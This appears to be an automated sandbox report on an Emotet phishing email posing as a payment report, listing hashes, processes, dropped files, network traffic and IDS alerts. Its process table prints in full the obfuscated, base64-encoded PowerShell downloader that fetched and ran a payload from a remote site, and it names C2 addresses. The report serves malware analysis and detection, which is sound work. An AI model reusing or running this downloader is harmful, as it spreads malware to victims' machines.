File name: | KarMART Email Payment Report.msg |
Full analysis: | https://app.any.run/tasks/722543e2-c22c-4929-949f-7fc667315f45 |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | April 25, 2019, 15:02:00 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.ms-outlook |
File info: | CDFV2 Microsoft Outlook Message |
MD5: | 1C58A78156F60B17467A7D2F5772BC20 |
SHA1: | 6435581B30A538F58B810E38CADC0E6B0C55897F |
SHA256: | 87A09ECC0B6A1F7F10AFE714F4DF9E9062832951EFB9B577F80106C804632F6B |
SSDEEP: | 6144:Zlzk77HUUUUUUUUUUUUUUUUUUUT52VmKdt7mA907t:477HUUUUUUUUUUUUUUUUUUUTCmomkMt |
.msg | | | Outlook Message (41.3) |
---|---|---|
.oft | | | Outlook Form Template (24.1) |
.doc | | | Microsoft Word document (18.6) |
.doc | | | Microsoft Word document (old ver.) (11) |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1516 | "C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE" /f "C:\Users\admin\AppData\Local\Temp\KarMART Email Payment Report.msg" | C:\Program Files\Microsoft Office\Office14\OUTLOOK.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Outlook Version: 14.0.6025.1000 | ||||
3292 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\GDR4TQYU\2019_04- Balance Payment Report.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | OUTLOOK.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
1336 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3856 | powershell -e JAB0ADQAMQBBAEEARAB4AD0AKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAJwBYACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEEAQQBCACcALAAnAEsAJwApACwAJwBVAEcAJwApACkAOwAkAFoAMQBYAHgAQQBBACAAPQAgACcAMwA4ADYAJwA7ACQAQgBVAEMAMQBEAG8APQAoACIAewAxAH0AewAyAH0AewAwAH0AIgAgAC0AZgAgACgAIgB7ADEAfQB7ADAAfQAiAC0AZgAgACcAQQAxAGMAJwAsACcAWgAnACkALAAnAGgAJwAsACcAVQAnACkAOwAkAGMAQQBCAFEAQQBBAHgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoAMQBYAHgAQQBBACsAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAC4AZQB4ACcALAAnAGUAJwApADsAJABjAEMAMQAxAHcAUQA9ACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiACAALQBmACcAQQAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAFcAVQAnACwAJwBBAEcAJwApACwAJwBBAHgAJwApADsAJABxAFEAWAAxAEcAQQBBAHgAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4ARQBgAFQALgB3AEUAYgBjAGAAbABgAGkARQBOAHQAOwAkAGYAQQBjAEEARABDADQAPQAoACIAewAwAH0AewA0AH0AewAxADcAfQB7ADIAMQB9AHsAMQAxAH0AewAzADcAfQB7ADIAOQB9AHsANQB9AHsAMQB9AHsAOQB9AHsAMQAyAH0AewAyADMAfQB7ADgAfQB7ADMAfQB7ADMAMQB9AHsAMgAyAH0AewAzADAAfQB7ADMAOAB9AHsAMgA1AH0AewAzADMAfQB7ADEANgB9AHsAMgA4AH0AewAxADAAfQB7ADEAMwB9AHsAMwA2AH0AewAzADQAfQB7ADEAOAB9AHsANgB9AHsAMwA1AH0AewAxADUAfQB7ADIAfQB7ADIANwB9AHsAMQA5AH0AewAyADQAfQB7ADMAMgB9AHsAMgAwAH0AewAyADYAfQB7ADcAfQB7ADEANAB9ACIALQBmACAAJwBoAHQAdAAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACAAJwBuAGMAbAAnACwAJwBpACcAKQAsACcAZQBVAF8AJwAsACcAcgAnACwAJwBwACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAG8AbQAvACcALAAnAHcAcAAtACcAKQAsACgAIgB7ADEAfQB7ADIAfQB7ADMAfQB7ADAAfQAiAC0AZgAgACcAbQAnACwAJwByAGEAcgAnACwAJwBkAGEAJwAsACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAZAAnACwAJwAuAGMAbwAnACkAKQAsACcAbgAnACwAJwBuAC4AbwAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwB1AGQAJwAsACcAZQBzACcAKQAsACcAbwAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBjAHQAYQAnACwAJwB3ACcAKQAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAHgAdgAnACwAJwAvAEAAJwApACwAJwAvAEUAXwAnACkALAAnAG0ALwAnACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAC8AbQBfACcALAAnAHQAJwApACwAJwBSAC8AJwApACwAKAAiAHsAMAB9AHsAMgB9AHsAMQB9ACIALQBmACAAJwAtAGEAJwAsACcALwAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwBkAG0AJwAsACcAaQBuACcAKQApACwAJwAvAC8AYwAnACwAJwA6AC8AJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACAAJwBAACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnAC8AJwAsACcALwBxAGEAJwApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAGgAJwAsACcAdAB0AHAAOgAnACkAKQAsACcAaAB0AHQAJwAsACgAIgB7ADQAfQB7ADIAfQB7ADEAfQB7ADAAfQB7ADMAfQAiAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAcAAtAGMAJwAsACcAbwAnACkALAAnAC8AdwAnACwAKAAiAHsAMQB9AHsAMAB9ACIALQBmACcAZQBzACcALAAnAHUAcgAuACcAKQAsACcAbgAnACwAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwAvAG0AYwAnACwAJwBjAGwAJwApACkALAAnAC8AcwBlACcALAAnAGwAJwAsACgAIgB7ADIAfQB7ADAAfQB7ADEAfQB7ADMAfQAiAC0AZgAgACgAIgB7ADAAfQB7ADEAfQB7ADIAfQAiAC0AZgAnAHQAdABwACcALAAnADoAJwAsACcALwAvACcAKQAsACcAaQBrAGEAJwAsACcAaAAnACwAJwB0AGEAJwApACwAJwBwACcALAAoACIAewAwAH0AewAxAH0AIgAtAGYAIAAnADEALwAnACwAJwBAAGgAJwApACwAJwB0AGUAJwAsACcARgAvAEAAJwAsACgAIgB7ADEAfQB7ADAAfQAiACAALQBmACAAJwByAC4AYwAnACwAJwBhAHUAYQAnACkALAAnAGMAJwAsACgAIgB7ADAAfQB7ADIAfQB7ADEAfQAiACAALQBmACcAdQBkACcALAAnAFkAJwAsACcAZQBzAC8AJwApACwAKAAiAHsAMQB9AHsAMAB9AHsAMgB9ACIALQBmACAAKAAiAHsAMAB9AHsAMQB9ACIALQBmACAAJwAvAHcAJwAsACcAcAAtAGkAJwApACwAJwBnACcALAAnAG4AYwAnACkALAAnADoALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAHQAcAA6ACcALAAnAHQAJwApACwAKAAiAHsAMAB9AHsAMQB9ACIAIAAtAGYAIAAnAG4ALwAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAFYALwAnACwAJwBNAF8AJwApACkALAAnAC8AdwBwACcALAAoACIAewAwAH0AewAxAH0AewAyAH0AIgAgAC0AZgAgACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwB3ACcALAAnAHAALQBhACcAKQAsACcAZAAnACwAJwBtAGkAJwApACwAJwBhAHkALgAnACwAJwBfACcAKQAuACIAcwBQAGAATABpAHQAIgAoACcAQAAnACkAOwAkAGwAVQBYAEEAQQB3AD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAIgB7ADEAfQB7ADAAfQB7ADIAfQAiAC0AZgAnAEEAeABvACcALAAnAHAAVQAnACwAJwB4AEEAJwApACwAJwBBACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAGkAWgA0AHcAVQBBAGMAQQAgAGkAbgAgACQAZgBBAGMAQQBEAEMANAApAHsAdAByAHkAewAkAHEAUQBYADEARwBBAEEAeAAuACIAZABgAG8AdwBuAEwAbwBhAGQARgBpAGAATABFACIAKAAkAGkAWgA0AHcAVQBBAGMAQQAsACAAJABjAEEAQgBRAEEAQQB4ACkAOwAkAEwARABCAEMAXwBCAD0AKAAiAHsAMQB9AHsAMAB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACcAXwB4ACcALAAnAEQAQgBYACcAKQAsACcAVAA0AFUAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQAnACsAJwB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAGMAQQBCAFEAQQBBAHgAKQAuACIATABFAE4ARwBgAFQAaAAiACAALQBnAGUAIAAzADEANQA0ADIAKQAgAHsALgAoACcASQBuAHYAbwBrAGUALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQAYwBBAEIAUQBBAEEAeAA7ACQASwB3AEEAbwBVAEEAQQBaAD0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9ACIAIAAtAGYAJwBRAEIAJwAsACcAagBfACcALAAnAHcAdwBaACcAKQA7AGIAcgBlAGEAawA7ACQAdwA0AFEAXwBCAEIAWABBAD0AKAAiAHsAMAB9AHsAMQB9ACIALQBmACgAIgB7ADAAfQB7ADEAfQAiACAALQBmACAAJwBJAFUAJwAsACcAQQB3ACcAKQAsACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAgACcAWgBEACcALAAnAEEAXwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAYQBBAEQAbwBBAEcAQQA9ACgAIgB7ADAAfQB7ADEAfQAiAC0AZgAnAGIAQgAnACwAKAAiAHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAEEAQQAnACwAJwAxAEIAJwApACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WmiPrvSE.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3668 | "C:\Users\admin\386.exe" | C:\Users\admin\386.exe | — | powershell.exe |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
3424 | --74d7ff2f | C:\Users\admin\386.exe | 386.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2136 | "C:\Users\admin\AppData\Local\soundser\soundser.exe" | C:\Users\admin\AppData\Local\soundser\soundser.exe | 386.exe | |
User: admin Integrity Level: MEDIUM Exit code: 0 | ||||
2204 | --3ab57678 | C:\Users\admin\AppData\Local\soundser\soundser.exe | soundser.exe | |
User: admin Integrity Level: MEDIUM |
PID | Process | Filename | Type | |
---|---|---|---|---|
1516 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\CVR5C45.tmp.cvr | — | |
MD5:— | SHA256:— | |||
1516 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Temp\~DF50C70314AA194924.TMP | — | |
MD5:— | SHA256:— | |||
1516 | OUTLOOK.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\GDR4TQYU\2019_04- Balance Payment Report (2).doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
3292 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRBDFC.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3292 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_BAB0E10E-5D7A-4A9E-AD5E-DF183E70D1AC.0\ABE05CE6.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
1336 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_BAB0E10E-5D7A-4A9E-AD5E-DF183E70D1AC.0\~DF2B842B7523E54FEE.TMP | — | |
MD5:— | SHA256:— | |||
3856 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7G19NK2QTJT84QQYF5JK.temp | — | |
MD5:— | SHA256:— | |||
1516 | OUTLOOK.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotm | pgc | |
MD5:B11FEA1F6E0D85731A1BF0876A162DF4 | SHA256:B4D1C62A909EE9BDBD149EE4DDE9ED57488A7FBE42D60DA13CA352E40B80008E | |||
3292 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_BAB0E10E-5D7A-4A9E-AD5E-DF183E70D1AC.0\ABE05CE6.doc | document | |
MD5:4B3DCDA6117D712D7971AE974071A985 | SHA256:C3BB5FE3A905BD52444D4360F7386D2AFA4F13F7A19FC7E93C88450A91148D3C | |||
3292 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:03D4C6D19D7E3FCDD892EA0B905F8B0D | SHA256:804272A20899989483F12879EF0FB09B8C714D8FAFCCC56EE1452D59DE3BC951 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1516 | OUTLOOK.EXE | GET | — | 64.4.26.155:80 | http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig | US | — | — | whitelisted |
3856 | powershell.exe | GET | 200 | 68.66.224.6:80 | http://sectaway.com/wp-includes/E_xv/ | US | executable | 78.0 Kb | suspicious |
2204 | soundser.exe | POST | — | 68.229.130.39:80 | http://68.229.130.39/cookies/rtm/ringin/ | US | — | — | malicious |
2204 | soundser.exe | POST | — | 70.116.68.186:80 | http://70.116.68.186/vermont/cone/ringin/merge/ | US | — | — | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1516 | OUTLOOK.EXE | 64.4.26.155:80 | config.messenger.msn.com | Microsoft Corporation | US | whitelisted |
3856 | powershell.exe | 68.66.224.6:80 | sectaway.com | A2 Hosting, Inc. | US | suspicious |
2204 | soundser.exe | 68.229.130.39:80 | — | Cox Communications Inc. | US | malicious |
— | — | 70.116.68.186:80 | — | Time Warner Cable Internet LLC | US | malicious |
Domain | IP | Reputation |
---|---|---|
config.messenger.msn.com |
| whitelisted |
sectaway.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
3856 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3856 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3856 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2204 | soundser.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |